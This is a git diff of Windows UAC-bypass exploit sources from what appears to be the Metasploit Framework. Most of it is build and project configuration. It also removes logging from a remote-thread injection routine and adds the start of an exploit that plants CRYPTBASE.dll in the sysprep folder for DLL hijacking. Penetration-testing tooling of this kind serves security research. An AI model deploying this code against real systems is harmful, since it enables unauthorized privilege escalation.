WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + Size Console true + + + + @@ -121,6 +142,7 @@ true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) MultiThreaded + Size Console @@ -132,6 +154,10 @@ + + + + @@ -142,6 +168,7 @@ true WIN64;_WIN64;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) MultiThreaded + Size Console @@ -153,6 +180,10 @@ + + + + diff --git a/external/source/exploits/bypassuac/Win7Elevate.sln b/external/source/exploits/bypassuac/Win7Elevate.sln old mode 100644 new mode 100755 index 96ab47ee65..2c3139c31e --- a/external/source/exploits/bypassuac/Win7Elevate.sln +++ b/external/source/exploits/bypassuac/Win7Elevate.sln @@ -1,6 +1,8 @@  -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{BB654285-1131-415D-B796-21045D32DF87}" ProjectSection(SolutionItems) = preProject Win7Elevate_v2_read_me.txt = Win7Elevate_v2_read_me.txt @@ -18,37 +20,32 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win7Elevate", "Win7Elevate\ EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Pocket PC 2003 (ARMV4) = Debug|Pocket PC 2003 (ARMV4) Debug|Win32 = Debug|Win32 Debug|x64 = Debug|x64 - Release|Pocket PC 2003 (ARMV4) = Release|Pocket PC 2003 (ARMV4) Release|Win32 = Release|Win32 Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.ActiveCfg = Debug|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.Build.0 = Debug|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.ActiveCfg = Debug|x64 - {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32 + {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.Build.0 = Debug|x64 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.ActiveCfg = Release|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.Build.0 = Release|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.ActiveCfg = Release|x64 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.Build.0 = Release|x64 - {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.ActiveCfg = Debug|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.Build.0 = Debug|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.ActiveCfg = Debug|x64 - {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32 + {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.Build.0 = Debug|x64 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.ActiveCfg = Release|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.Build.0 = Release|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.ActiveCfg = Release|x64 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.Build.0 = Release|x64 - {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.ActiveCfg = Debug|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.Build.0 = Debug|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.ActiveCfg = Debug|x64 - {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32 + {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.Build.0 = Debug|x64 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.ActiveCfg = Release|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.Build.0 = Release|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|x64.ActiveCfg = Release|x64 diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp old mode 100644 new mode 100755 index 4bd0054297..9efefdb568 Binary files a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp and b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp differ diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc old mode 100644 new mode 100755 index ebf56f1776..545523556a --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc @@ -61,22 +61,23 @@ END #ifdef _DEBUG +// Z:\code\metasploit-framework\external\source\exploits\bypassuac\TIOR\Debug\Win32 #ifdef _WIN64 -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\x64\\Debug\\Win7ElevateDll64.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\x64\\Debug\\TIOR64.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Debug\\x64\\Win7ElevateDll.x64.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Debug\\x64\\TIOR.x64.exe" #else -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win32\\Debug\\Win7ElevateDll32.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\Win32\\Debug\\TIOR32.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Debug\\Win32\\Win7ElevateDll.x86.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Debug\\Win32\\TIOR.x86.exe" #endif #else // _DEBUG #ifdef _WIN64 -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\x64\\Release\\Win7ElevateDll64.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\x64\\Release\\TIOR64.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Release\\x64\\Win7ElevateDll.x64.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Release\\x64\\TIOR.x64.exe" #else -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win32\\Release\\Win7ElevateDll32.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\Win32\\Release\\TIOR32.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Release\\Win32\\Win7ElevateDll.x86.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Release\\Win32\\TIOR.x86.exe" #endif #endif diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj index d1a7d4f0c3..fd69093652 100644 --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -28,23 +28,27 @@ Application true Unicode + v120 Application true Unicode + v120 Application false - true + false Unicode + v120 Application false - true + false Unicode + v120 @@ -63,25 +67,30 @@ - true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + false + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ - true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + false + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ + AllRules.ruleset @@ -96,10 +105,12 @@ false ProgramDatabase MultiThreadedDebug + Size Console true + Default @@ -119,10 +130,12 @@ false ProgramDatabase MultiThreadedDebug + Size Console true + Default @@ -141,12 +154,14 @@ OnlyExplicitInline false false + Size Console false true true + Default @@ -155,6 +170,9 @@ WIN32;_UNICODE;UNICODE;%(PreprocessorDefinitions) + + copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe" + @@ -168,12 +186,14 @@ OnlyExplicitInline false false + Size Console false true true + Default @@ -182,6 +202,9 @@ WIN64;_WIN64;_UNICODE;UNICODE;%(PreprocessorDefinitions) + + copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe" + @@ -204,7 +227,10 @@ - + + WIN64;_WIN64;_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions) + _DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions) + diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp old mode 100644 new mode 100755 index 4df3f129ba..5aa84f23dd --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp @@ -209,7 +209,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (codeStartAdr >= codeEndAdr) { //MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Unexpected function layout"); return; } @@ -220,7 +219,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf)) { //MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Couldn't get path to self"); return; } @@ -231,7 +229,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (S_OK != hr) { //MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"SHGetFolderPath failed"); return; } @@ -240,7 +237,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (hModKernel32 == 0) { //MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Couldn't load kernel32.dll"); return; } @@ -257,7 +253,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d || 0 == tfpWaitForSingleObject.f) { //MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Couldn't find API"); } else { @@ -374,26 +369,11 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true); - if (reme.AnyFailures()) - { - //MessageBox(hWnd, L"Remote allocation failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Remote allocation failed"); - } - else + if (!(reme.AnyFailures())) { HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL); - if (hRemoteThread == 0) - { - //MessageBox(hWnd, L"Couldn't create remote thread", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine( - CError::Format( - GetLastError(), - L"Couldn't create remote thread", - L"CreateRemoteThread")); - - } - else + if (hRemoteThread != 0) { if ( Redirector ) Redirector(); @@ -415,7 +395,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d //else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION)) else { - CLogger::LogLine(L"Continue waiting for remote thread to complete? : NO"); // See if it completed before the user asked to stop waiting. // Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI. if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0)) @@ -442,14 +421,4 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d FreeLibrary(hModKernel32); - if (bThreadWaitFailure) - { - //MessageBox(hWnd, L"Error waiting on the remote thread to complete", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Error waiting on the remote thread to complete"); - } - else if (bThreadWaitSuccess) - { - //MessageBox(hWnd, L"Remote thread completed", L"Win7Elevate", MB_OK | MB_ICONINFORMATION); - CLogger::LogLine(L"Remote thread completed"); - } } diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp old mode 100644 new mode 100755 index 8b8e669843..737602094a --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp @@ -33,7 +33,6 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro if (hSnapshot == INVALID_HANDLE_VALUE) { //MessageBox(hWnd, L"CreateToolhelp32Snapshot failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"CreateToolhelp32Snapshot failed"); } else { @@ -61,17 +60,7 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro { DWORD dwErr = GetLastError(); - if (ERROR_NO_MORE_FILES != dwErr) - { - //MessageBox(hWnd, L"Process32Next/First failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Process32Next/First failed"); - } - else if (mapProcs.empty()) - { - //MessageBox(hWnd, L"Process32Next/First returned nothing", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Process32Next/First returned nothing"); - } - else + if ((ERROR_NO_MORE_FILES == dwErr) && !(mapProcs.empty())) { bResult = true; } @@ -107,7 +96,6 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi if (szProcName == NULL) { //MessageBox(hWnd, L"No process name passed in", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"No process name passed in"); return false; } @@ -140,7 +128,7 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi } //MessageBox(hWnd, strMsg.c_str(), L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(strMsg); + return false; } diff --git a/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj b/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj index 25fbbef26c..e72a94e333 100644 --- a/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj +++ b/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -28,23 +28,27 @@ DynamicLibrary true Unicode + v120 DynamicLibrary true Unicode + v120 DynamicLibrary false - true + false Unicode + v120 DynamicLibrary false - true + false Unicode + v120 @@ -64,25 +68,30 @@ true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ + AllRules.ruleset @@ -90,11 +99,16 @@ Level3 Disabled WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) + Size + false Windows true + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + @@ -102,11 +116,16 @@ Level3 Disabled WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) + Size + false Windows true + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" > NUL + @@ -117,6 +136,7 @@ true WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) MultiThreaded + Size Windows @@ -124,6 +144,9 @@ true true + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + @@ -134,6 +157,7 @@ true WIN64;_WIN64;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) MultiThreaded + Size Windows @@ -145,6 +169,9 @@ + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" > NUL + diff --git a/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp b/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp old mode 100644 new mode 100755 index f064b8b4e6..21648f103f --- a/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp +++ b/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp @@ -17,7 +17,6 @@ BOOL APIENTRY DllMain( HMODULE hModule, // Wee need to hide fact that we've started process thats why we immediately // Terminate host application. // - CLogger::LogLine(TEXT("DLL: Hello")); switch (ul_reason_for_call) { @@ -33,8 +32,6 @@ BOOL APIENTRY DllMain( HMODULE hModule, startupInfo.cb = sizeof(startupInfo); PROCESS_INFORMATION processInfo = {0}; - CLogger::LogLine(TEXT("DLL: TIOR shell=")); - CLogger::LogLine(cmd); // // Create not visible window diff --git a/external/source/exploits/bypassuac/make.msbuild b/external/source/exploits/bypassuac/make.msbuild new file mode 100755 index 0000000000..53493e1385 --- /dev/null +++ b/external/source/exploits/bypassuac/make.msbuild @@ -0,0 +1,19 @@ + + + + .\Win7Elevate.sln + + + + + + + + + + + + + + + diff --git a/external/source/exploits/bypassuac_injection/.gitignore b/external/source/exploits/bypassuac_injection/.gitignore new file mode 100644 index 0000000000..cfd9ebaa06 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/bypassuac_injection.sln b/external/source/exploits/bypassuac_injection/bypassuac_injection.sln new file mode 100755 index 0000000000..f37920bc8f --- /dev/null +++ b/external/source/exploits/bypassuac_injection/bypassuac_injection.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bypassuac", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj new file mode 100644 index 0000000000..0695003480 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj @@ -0,0 +1,204 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + bypassuac + + + + DynamicLibrary + v120 + MultiByte + false + + + DynamicLibrary + v120 + Unicode + + + DynamicLibrary + MultiByte + false + v120 + + + DynamicLibrary + v120 + Unicode + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + $(ProjectName)-x86 + $(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\ + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + $(ProjectName)-x64 + $(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\; + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Windows + MachineX86 + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + +IF EXIST "..\..\..\..\..\data\post\" GOTO COPY + mkdir "..\..\..\..\..\data\post\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(TargetName)$(TargetExt) + true + Windows + true + true + MachineX64 + + + +IF EXIST "..\..\..\..\..\data\post\" GOTO COPY + mkdir "..\..\..\..\..\data\post\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\" + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp new file mode 100644 index 0000000000..4f0ba9b113 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp @@ -0,0 +1,119 @@ +#include "Exploit.h" + +void exploit() +{ + + const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\"; + const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\"; + const wchar_t *sySysPrepExe = L"sysprep.exe"; + const wchar_t *szElevDll = L"CRYPTBASE.dll"; + const wchar_t *szSourceDll = L"CRYPTBASE.dll"; + wchar_t szElevDir[MAX_PATH] = {}; + wchar_t szElevDir_syswow64[MAX_PATH] = {}; + wchar_t szElevDllFull[MAX_PATH] = {}; + wchar_t szElevDllFull_syswow64[MAX_PATH] = {}; + wchar_t szElevExeFull[MAX_PATH] = {}; + wchar_t path[MAX_PATH] = {}; + wchar_t windir[MAX_PATH] = {}; + const wchar_t *szElevArgs = L""; + const wchar_t *szEIFOMoniker = NULL; + PVOID OldValue = NULL; + + IFileOperation *pFileOp = NULL; + IShellItem *pSHISource = 0; + IShellItem *pSHIDestination = 0; + IShellItem *pSHIDelete = 0; + + const IID *pIID_EIFO = &__uuidof(IFileOperation); + const IID *pIID_EIFOClass = &__uuidof(FileOperation); + const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); + + GetWindowsDirectoryW(windir, MAX_PATH); + GetTempPathW(MAX_PATH, path); + + /* %temp%\cryptbase.dll */ + wcscat_s(path, MAX_PATH, szSourceDll); + + /* %windir%\System32\sysprep\ */ + wcscat_s(szElevDir, MAX_PATH, windir); + wcscat_s(szElevDir, MAX_PATH, szSysPrepDir); + + /* %windir%\sysnative\sysprep\ */ + wcscat_s(szElevDir_syswow64, MAX_PATH, windir); + wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64); + + /* %windir\system32\sysprep\cryptbase.dll */ + wcscat_s(szElevDllFull, MAX_PATH, szElevDir); + wcscat_s(szElevDllFull, MAX_PATH, szElevDll); + + /* %windir\sysnative\sysprep\cryptbase.dll */ + 